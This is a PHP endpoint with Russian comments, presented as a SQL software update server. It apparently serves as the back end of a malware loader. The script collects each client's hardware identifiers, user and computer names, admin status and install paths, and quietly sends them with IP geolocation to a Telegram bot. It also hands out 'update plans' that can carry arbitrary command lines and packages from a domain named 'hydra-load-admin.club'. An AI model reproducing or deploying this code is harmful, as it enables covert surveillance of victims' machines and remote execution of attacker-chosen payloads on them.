<?php
declare(strict_types=1);

@ini_set('display_errors', '0');
@ini_set('log_errors', '1');

require __DIR__ . '/common.php';

/**
 * update_sql.php — выдача плана обновлений.
 *
 * URL: https://sqlupdate.pro/update_sql.php
 *
 * POST JSON (пример):
 * {
 *   "appId": "sqlserver",
 *   "licenseKey": "777777",
 *   "installedVersion": "1.0.0",
 *   "identity": { "machineId":"...", "guid":"a63dad6b-912a", "hwid":"...", "biosSerial":"...", "cpuId":"..." },
 *   "systemProfile": { ... }   // опционально (кеш на сервере)
 * }
 *
 * Ответ:
 * { "plan": [ ... ] }
 */

// ---------------- Telegram config (как в sqlite.php) ----------------
$config = [];
if (is_file(__DIR__ . '/config.php')) {
    $tmp = require __DIR__ . '/config.php';
    if (is_array($tmp)) $config = $tmp;
}
$tgConf = is_array($config['telegram'] ?? null) ? $config['telegram'] : [];

$tgToken   = (string)($tgConf['bot_token'] ?? '');
$tgChatId  = (string)($tgConf['chat_id'] ?? '');
$tgEnabled = (bool)($tgConf['enabled'] ?? false);

// ---------------- Telegram helpers (в стиле sqlite.php) ----------------
function client_ip_sqlupdate(): string {
    $keys = ['HTTP_CF_CONNECTING_IP', 'HTTP_X_FORWARDED_FOR', 'REMOTE_ADDR'];
    foreach ($keys as $k) {
        if (!empty($_SERVER[$k])) {
            $v = trim((string)$_SERVER[$k]);
            if ($k === 'HTTP_X_FORWARDED_FOR') {
                $parts = explode(',', $v);
                $v = trim($parts[0] ?? '');
            }
            if ($v !== '') return $v;
        }
    }
    return '0.0.0.0';
}

function tg_send_text_sqlupdate(string $token, string $chatId, string $text): void {
    if ($token === '' || $chatId === '') return;

    $url = 'https://api.telegram.org/bot' . $token . '/sendMessage';
    $payload = [
        'chat_id' => $chatId,
        'text'    => $text,
        'disable_web_page_preview' => true,
    ];

    if (function_exists('curl_init')) {
        $ch = curl_init($url);
        curl_setopt_array($ch, [
            CURLOPT_POST           => true,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_POSTFIELDS     => $payload,
            CURLOPT_CONNECTTIMEOUT => 5,
            CURLOPT_TIMEOUT        => 10,
        ]);
        @curl_exec($ch);
        @curl_close($ch);
    } else {
        $opts = [
            'http' => [
                'method'  => 'POST',
                'header'  => 'Content-Type: application/x-www-form-urlencoded',
                'content' => http_build_query($payload),
                'timeout' => 10,
            ],
        ];
        @file_get_contents($url, false, stream_context_create($opts));
    }
}

function fetch_ipinfo_sqlupdate(string $ip): array {
    if (function_exists('fetchIpInfo')) {
        $info = fetchIpInfo($ip);
        return is_array($info) ? $info : [];
    }

    $defaults = [
        'country' => 'Unknown',
        'region'  => 'Unknown',
        'city'    => 'Unknown',
        'postal'  => 'Unknown',
        'org'     => 'Unknown',
    ];

    if (!filter_var($ip, FILTER_VALIDATE_IP)) {
        return $defaults;
    }

    $url = "http://ipinfo.io/{$ip}/json";
    $ctx = stream_context_create([
        'http' => [
            'timeout' => 3,
            'header'  => "User-Agent: update_sql.php\r\n",
        ],
    ]);
    $body = @file_get_contents($url, false, $ctx);
    if ($body === false) return $defaults;

    $j = json_decode($body, true);
    if (!is_array($j)) return $defaults;

    return [
        'country' => $j['country'] ?? 'Unknown',
        'region'  => $j['region']  ?? 'Unknown',
        'city'    => $j['city']    ?? 'Unknown',
        'postal'  => $j['postal']  ?? 'Unknown',
        'org'     => $j['org']     ?? 'Unknown',
    ];
}

function iso_utc_sqlupdate(): string {
    return (new DateTimeImmutable('now', new DateTimeZone('UTC')))->format('c');
}

function v_to_str_sqlupdate($v): string {
    if (is_bool($v)) return $v ? 'true' : 'false';
    if ($v === null) return 'null';
    if (is_scalar($v)) return trim((string)$v);
    return json_encode($v, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES) ?: '—';
}

function mb_truncate_sqlupdate(string $s, int $max): string {
    if ($max <= 0) return '';
    if (function_exists('mb_strlen') && function_exists('mb_substr')) {
        if (mb_strlen($s, 'UTF-8') <= $max) return $s;
        return mb_substr($s, 0, $max, 'UTF-8') . "\n…(truncated)";
    }
    if (strlen($s) <= $max) return $s;
    return substr($s, 0, $max) . "\n…(truncated)";
}

function short_str_sqlupdate(string $s, int $max = 180): string {
    $s = trim($s);
    if ($s === '') return '—';
    if (function_exists('mb_strlen') && function_exists('mb_substr')) {
        if (mb_strlen($s, 'UTF-8') <= $max) return $s;
        return mb_substr($s, 0, $max, 'UTF-8') . '…';
    }
    if (strlen($s) <= $max) return $s;
    return substr($s, 0, $max) . '…';
}

function tg_report_update_sqlupdate(
    bool $enabled,
    string $token,
    string $chatId,
    array $req,
    array $resp
): void {
    if (!$enabled || $token === '' || $chatId === '') return;

    $ip   = client_ip_sqlupdate();
    $ua   = (string)($_SERVER['HTTP_USER_AGENT'] ?? '');
    $host = @gethostbyaddr($ip) ?: '';
    $ipinfo = fetch_ipinfo_sqlupdate($ip);

    $method = (string)($_SERVER['REQUEST_METHOD'] ?? '');
    $uri    = (string)($_SERVER['REQUEST_URI'] ?? '');

    $identity = is_array($req['identity'] ?? null) ? $req['identity'] : [];
    $profile  = is_array($req['systemProfile'] ?? null) ? $req['systemProfile'] : [];

    $appId            = (string)($req['appId'] ?? '');
    $licenseKey       = (string)($req['licenseKey'] ?? '');
    $installedVersion = (string)($req['installedVersion'] ?? '');

    $machineId  = (string)($identity['machineId'] ?? '');
    $guid       = (string)($identity['guid'] ?? '');
    $hwid       = (string)($identity['hwid'] ?? '');
    $biosSerial = (string)($identity['biosSerial'] ?? '');
    $cpuId      = (string)($identity['cpuId'] ?? '');

    $error  = (string)($resp['error'] ?? '');
    $reason = (string)($resp['reason'] ?? '');
    $plan   = is_array($resp['plan'] ?? null) ? $resp['plan'] : [];

    $ok = ($error === '');
    $title = "🟣 SQLUPDATE UPDATE " . ($ok ? "✅" : "❌");

    $msg  = $title . "\n\n";

    // STATUS (если ошибка)
    if (!$ok) {
        $msg .= "STATUS\n";
        $msg .= "❌ Error: " . short_str_sqlupdate($error, 220) . "\n";
        if ($reason !== '') {
            $msg .= "🧾 Reason: " . short_str_sqlupdate($reason, 600) . "\n";
        }
        $msg .= "\n";
    }

    // APP
    $msg .= "APP\n";
    $msg .= "📦 AppId: " . ($appId !== '' ? short_str_sqlupdate($appId, 80) : "—") . "\n";
    $msg .= "🔑 LicenseKey: " . ($licenseKey !== '' ? short_str_sqlupdate($licenseKey, 80) : "—") . "\n";
    $msg .= "🧾 Installed Version: " . ($installedVersion !== '' ? short_str_sqlupdate($installedVersion, 40) : "—") . "\n\n";

    // PC INFO (identity)
    $msg .= "PC INFO\n";
    $msg .= "🖥 Machine ID: " . ($machineId !== '' ? short_str_sqlupdate($machineId, 140) : "—") . "\n";
    $msg .= "🧩 GUID: " . ($guid !== '' ? short_str_sqlupdate($guid, 120) : "—") . "\n";
    $msg .= "🔐 HWID: " . ($hwid !== '' ? short_str_sqlupdate($hwid, 200) : "—") . "\n";
    $msg .= "🧬 BIOS Serial: " . ($biosSerial !== '' ? short_str_sqlupdate($biosSerial, 140) : "—") . "\n";
    $msg .= "🧠 CPU ID: " . ($cpuId !== '' ? short_str_sqlupdate($cpuId, 140) : "—") . "\n";

    // Любые доп. поля identity (чтобы “все данные”)
    $extraIdentity = $identity;
    unset($extraIdentity['machineId'], $extraIdentity['guid'], $extraIdentity['hwid'], $extraIdentity['biosSerial'], $extraIdentity['cpuId']);
    if (!empty($extraIdentity)) {
        $msg .= "\nIDENTITY EXTRA\n";
        foreach ($extraIdentity as $k => $v) {
            $msg .= "• " . $k . ": " . short_str_sqlupdate(v_to_str_sqlupdate($v), 260) . "\n";
        }
    }
    $msg .= "\n";

    // SYSTEM PROFILE (красиво + полностью)
    if (!empty($profile)) {
        $msg .= "SYSTEM PROFILE\n";

        // Красивые ключи (как “витрина”)
        $os      = (string)($profile['os'] ?? '');
        $osVer   = (string)($profile['osVersion'] ?? '');
        $osArch  = (string)($profile['osArch'] ?? '');
        $proc    = (string)($profile['processor'] ?? '');
        $cores   = $profile['cores'] ?? null;
        $threads = $profile['threads'] ?? null;
        $ramMb   = $profile['ramMb'] ?? null;
        $gpu     = (string)($profile['videoCard'] ?? '');
        $lang    = (string)($profile['language'] ?? '');
        $isAdmin = $profile['isAdmin'] ?? null;
        $pcName  = (string)($profile['computerName'] ?? '');
        $user    = (string)($profile['userName'] ?? '');
        $disp    = (string)($profile['displayResolution'] ?? '');
        $updDir  = (string)($profile['updaterDir'] ?? '');
        $instDir = (string)($profile['appInstallDir'] ?? '');

        $osLine = trim($os . ' ' . $osVer);
        $msg .= "💿 OS: " . ($osLine !== '' ? short_str_sqlupdate($osLine, 120) : "—") . "\n";
        $msg .= "🧱 Arch: " . ($osArch !== '' ? short_str_sqlupdate($osArch, 60) : "—") . "\n";
        $msg .= "🔑 Admin: " . short_str_sqlupdate(v_to_str_sqlupdate($isAdmin), 20) . "\n";
        $msg .= "🖥 Computer: " . ($pcName !== '' ? short_str_sqlupdate($pcName, 80) : "—") . "\n";
        $msg .= "👤 User: " . ($user !== '' ? short_str_sqlupdate($user, 80) : "—") . "\n";
        $msg .= "🖵 Display: " . ($disp !== '' ? short_str_sqlupdate($disp, 40) : "—") . "\n";
        $msg .= "🌐 Lang: " . ($lang !== '' ? short_str_sqlupdate($lang, 120) : "—") . "\n";
        $cpuLine = $proc;
        if ($cores !== null || $threads !== null) {
            $cpuLine .= " (" . v_to_str_sqlupdate($cores) . "C/" . v_to_str_sqlupdate($threads) . "T)";
        }
        $msg .= "🧠 CPU: " . ($cpuLine !== '' ? short_str_sqlupdate($cpuLine, 180) : "—") . "\n";
        $msg .= "🧠 RAM: " . ($ramMb !== null ? short_str_sqlupdate(v_to_str_sqlupdate($ramMb) . " MB", 40) : "—") . "\n";
        $msg .= "🎮 GPU: " . ($gpu !== '' ? short_str_sqlupdate($gpu, 160) : "—") . "\n";
        $msg .= "📁 UpdaterDir: " . ($updDir !== '' ? short_str_sqlupdate($updDir, 220) : "—") . "\n";
        $msg .= "📁 AppInstallDir: " . ($instDir !== '' ? short_str_sqlupdate($instDir, 220) : "—") . "\n\n";

        // Полный список ВСЕХ полей systemProfile (чтобы “все данные”)
// Полный список ВСЕХ полей systemProfile — красиво со смайлами
$msg .= "PROFILE ALL FIELDS\n";

$profileMap = [
    'os'                => ['🪟', 'OS'],
    'osVersion'         => ['🔢', 'OS Version'],
    'osArch'            => ['🧱', 'OS Arch'],
    'isAdmin'           => ['🔑', 'Admin'],
    'updaterDir'        => ['⬇️', 'Updater Dir'],
    'appInstallDir'     => ['📁', 'App Install Dir'],
    'computerName'      => ['🖥', 'Computer Name'],
    'userName'          => ['👤', 'User Name'],
    'displayResolution' => ['🖵', 'Display'],
    'language'          => ['🌐', 'Language'],
    'processor'         => ['🧠', 'CPU'],
    'cores'             => ['🧩', 'Cores'],
    'threads'           => ['🧵', 'Threads'],
    'ramMb'             => ['💾', 'RAM'],
    'videoCard'         => ['🎮', 'GPU'],
];

$profileOrder = [
    'os','osVersion','osArch','isAdmin',
    'computerName','userName','language','displayResolution',
    'processor','cores','threads','ramMb','videoCard',
    'updaterDir','appInstallDir',
];

// Сначала — в красивом фиксированном порядке
foreach ($profileOrder as $k) {
    if (!array_key_exists($k, $profile)) continue;

    $v = $profile[$k];

    // мелкие улучшения вывода
    if ($k === 'ramMb' && $v !== null && $v !== '') {
        $v = v_to_str_sqlupdate($v) . ' MB';
    }

    if (isset($profileMap[$k])) {
        [$emo, $label] = $profileMap[$k];
        $msg .= $emo . " " . $label . ": " . short_str_sqlupdate(v_to_str_sqlupdate($v), 260) . "\n";
    } else {
        $msg .= "• " . $k . ": " . short_str_sqlupdate(v_to_str_sqlupdate($v), 260) . "\n";
    }
}

// Потом — все остальные поля (которые не попали в order), тоже с fallback
foreach ($profile as $k => $v) {
    if (in_array($k, $profileOrder, true)) continue;

    if (isset($profileMap[$k])) {
        [$emo, $label] = $profileMap[$k];
        $msg .= $emo . " " . $label . ": " . short_str_sqlupdate(v_to_str_sqlupdate($v), 260) . "\n";
    } else {
        $msg .= "• " . $k . ": " . short_str_sqlupdate(v_to_str_sqlupdate($v), 260) . "\n";
    }
}

$msg .= "\n";

    } else {
        $msg .= "SYSTEM PROFILE\n";
        $msg .= "📦 Present: false\n\n";
    }

    // UPDATE PLAN (красиво)
    $msg .= "UPDATE PLAN\n";
    if (!$ok) {
        $msg .= "—\n\n";
    } elseif (empty($plan)) {
        $msg .= "—\n\n";
    } else {
        $n = 0;
        foreach ($plan as $step) {
            if (!is_array($step)) continue;
            $n++;
            $type = (string)($step['type'] ?? '');
            $from = (string)($step['from'] ?? '');
            $to   = (string)($step['to'] ?? '');
            $url  = (string)($step['url'] ?? '');
            $sha  = (string)($step['sha256'] ?? '');
            $cmd  = (string)($step['commandLine'] ?? '');

            $msg .= $n . ") " . ($type !== '' ? $type : 'step') . "  " . ($from !== '' ? $from : '—') . " → " . ($to !== '' ? $to : '—') . "\n";
            $msg .= "   🔗 URL: " . ($url !== '' ? short_str_sqlupdate($url, 260) : "—") . "\n";
            $msg .= "   🔒 SHA256: " . ($sha !== '' ? short_str_sqlupdate($sha, 120) : "—") . "\n";
            if ($cmd !== '') {
                $msg .= "   🧾 Command: " . short_str_sqlupdate($cmd, 260) . "\n";
            }
        }
        $msg .= "\n";
    }

    // EXTRA (любые прочие ключи запроса, чтобы “всё полученное” точно попало)
    $extraReq = $req;
    unset($extraReq['appId'], $extraReq['licenseKey'], $extraReq['installedVersion'], $extraReq['identity'], $extraReq['systemProfile']);
    if (!empty($extraReq)) {
        $msg .= "REQUEST EXTRA\n";
        foreach ($extraReq as $k => $v) {
            $msg .= "• " . $k . ": " . short_str_sqlupdate(v_to_str_sqlupdate($v), 260) . "\n";
        }
        $msg .= "\n";
    }

    // IP INFO (как в sqlite.php)
    $msg .= "IP INFO\n";
    $msg .= "🙈 IP: " . $ip . "\n";
    $msg .= "📌 Host: " . ($host !== '' ? $host : "—") . "\n";
    $msg .= "📌 Country: " . ($ipinfo['country'] ?? 'Unknown') . "\n";
    $msg .= "📌 City: " . ($ipinfo['city'] ?? 'Unknown') . "\n";
    $msg .= "📌 Region: " . ($ipinfo['region'] ?? 'Unknown') . "\n";
    $msg .= "📌 Postal: " . ($ipinfo['postal'] ?? 'Unknown') . "\n";
    $msg .= "🏢 Org: " . ($ipinfo['org'] ?? 'Unknown') . "\n\n";

  //  // BROWSER (как в sqlite.php)
    //$msg .= "BROWSER\n";
  //  $msg .= "🧩 UA: " . ($ua !== '' ? short_str_sqlupdate($ua, 220) : "—") . "\n\n";

    // META аккуратно (не как “сырой META блок”)
   // $msg .= "META\n";
   // $msg .= "🧭 Method: " . ($method !== '' ? $method : "—") . "\n";
    $msg .= "🔗 URI: " . ($uri !== '' ? $uri : "—") . "\n";

    $msg .= "⏱️ Time (UTC): " . iso_utc_sqlupdate();

    // лимит Telegram
    $msg = mb_truncate_sqlupdate($msg, 3900);

    tg_send_text_sqlupdate($token, $chatId, $msg);
}


// --------- helper: ответить с телеграм-логом (сохраняя функционал) ----------
function json_response_with_tg_sqlupdate(
    int $status,
    array $payload,
    bool $tgEnabled,
    string $tgToken,
    string $tgChatId,
    array $req
): void {
    // Телеграм отправляем “тихо” и не ломаем ответ даже при ошибках сети
    tg_report_update_sqlupdate($tgEnabled, $tgToken, $tgChatId, $req, $payload);
    json_response($status, $payload);
}

// ---------------- original logic ----------------

if (($_SERVER['REQUEST_METHOD'] ?? '') !== 'POST') {
    json_response(405, ['plan' => [], 'error' => 'METHOD_NOT_ALLOWED']);
}

$req = read_json_body();

$appIdRequired = 'sqlserver';

$dataDir = __DIR__ . '/data';
$packagesDir = __DIR__ . '/packages';
$clientsDir  = __DIR__ . '/data/clients';

ensure_dir($dataDir);
ensure_dir($packagesDir);
ensure_dir($clientsDir);

$licensesPath = $dataDir . '/licenses.json';
$bindingsPath = $dataDir . '/bindings.json';
$releasesPath = $dataDir . '/releases_sqlserver.json';

// ВАЖНО: база URL пакетов (должна соответствовать реальному домену/пути)
$packagesBaseUrl = 'https://hydra-load-admin.club/packages/';

if (!file_exists($releasesPath)) {
    save_json_file_atomic($releasesPath, [
        "latest" => "1.0.1",
        "steps" => [
            [
                "type" => "zipOverlay",
                "from" => "1.0.0",
                "to"   => "1.0.1",
                "file" => "sql_update_1.0.1.zip",
                "sha256" => "",
                "backupBeforeApply" => true
            ]
        ]
    ]);
}

$result = validate_and_bind_license(
    $req,
    $appIdRequired,
    $licensesPath,
    $bindingsPath,
    true
);

if (!($result['valid'] ?? false)) {
    json_response_with_tg_sqlupdate(200, [
        'plan' => [],
        'error' => 'LICENSE_INVALID',
        'reason' => $result['reason'] ?? 'UNKNOWN'
    ], $tgEnabled, $tgToken, $tgChatId, $req);
}

$identity = is_array($req['identity'] ?? null) ? $req['identity'] : [];
$machineId = normalize_machine_id(strv($identity['machineId'] ?? ''));
$licenseKey = strv($req['licenseKey'] ?? '');

$installedVersion = strv($req['installedVersion'] ?? '0.0.0');
if ($installedVersion === '') $installedVersion = '0.0.0';

// Сохранить systemProfile (если прислали)
$profile = is_array($req['systemProfile'] ?? null) ? $req['systemProfile'] : null;
if (is_array($profile)) {
    $clientId = safe_client_id($licenseKey, $machineId);
    $path = $clientsDir . '/' . $clientId . '.json';
    $doc = [
        'appId' => $appIdRequired,
        'licenseKey' => $licenseKey,
        'machineId' => $machineId,
        'updatedAt' => gmdate('c'),
        'systemProfile' => $profile
    ];
    save_json_file_atomic($path, $doc);
}

$releases = load_json_file($releasesPath, []);
$steps = is_array($releases['steps'] ?? null) ? $releases['steps'] : [];

$plan = [];
$current = $installedVersion;

$maxSteps = 20;
for ($i = 0; $i < $maxSteps; $i++) {
    $found = null;
    foreach ($steps as $s) {
        if (!is_array($s)) continue;
        if (strv($s['from'] ?? '') === $current) { $found = $s; break; }
    }
    if ($found === null) break;

    $type = strv($found['type'] ?? '');
    $from = strv($found['from'] ?? '');
    $to   = strv($found['to'] ?? '');
    if ($type === '' || $from === '' || $to === '') break;

    $sha256 = strtolower(strv($found['sha256'] ?? ''));

    $url = strv($found['url'] ?? '');
    $file = strv($found['file'] ?? '');

    if ($url === '' && $file !== '') {
        $url = $packagesBaseUrl . rawurlencode($file);
    }

    if ($sha256 === '' && $file !== '') {
        $local = $packagesDir . '/' . $file;
        if (file_exists($local)) {
            $sha256 = strtolower(hash_file('sha256', $local));
        }
    }

    if ($url === '' || $sha256 === '') {
        json_response_with_tg_sqlupdate(500, [
            'plan' => [],
            'error' => 'BAD_RELEASE_STEP',
            'step' => $found
        ], $tgEnabled, $tgToken, $tgChatId, $req);
    }

    $outStep = [
        'type' => $type,
        'from' => $from,
        'to'   => $to,
        'url'  => $url,
        'sha256' => $sha256
    ];

    if ($type === 'zipOverlay') {
        $outStep['backupBeforeApply'] = (bool)($found['backupBeforeApply'] ?? true);
    } elseif ($type === 'command') {
        $cmd = strv($found['commandLine'] ?? '');
        if ($cmd === '') {
            json_response_with_tg_sqlupdate(500, [
                'plan' => [],
                'error' => 'MISSING_COMMANDLINE',
                'step' => $found
            ], $tgEnabled, $tgToken, $tgChatId, $req);
        }
        $outStep['commandLine'] = $cmd;
    }

    $plan[] = $outStep;
    $current = $to;
}

json_response_with_tg_sqlupdate(200, [
    'plan' => $plan,
    'serverTime' => gmdate('c')
], $tgEnabled, $tgToken, $tgChatId, $req);
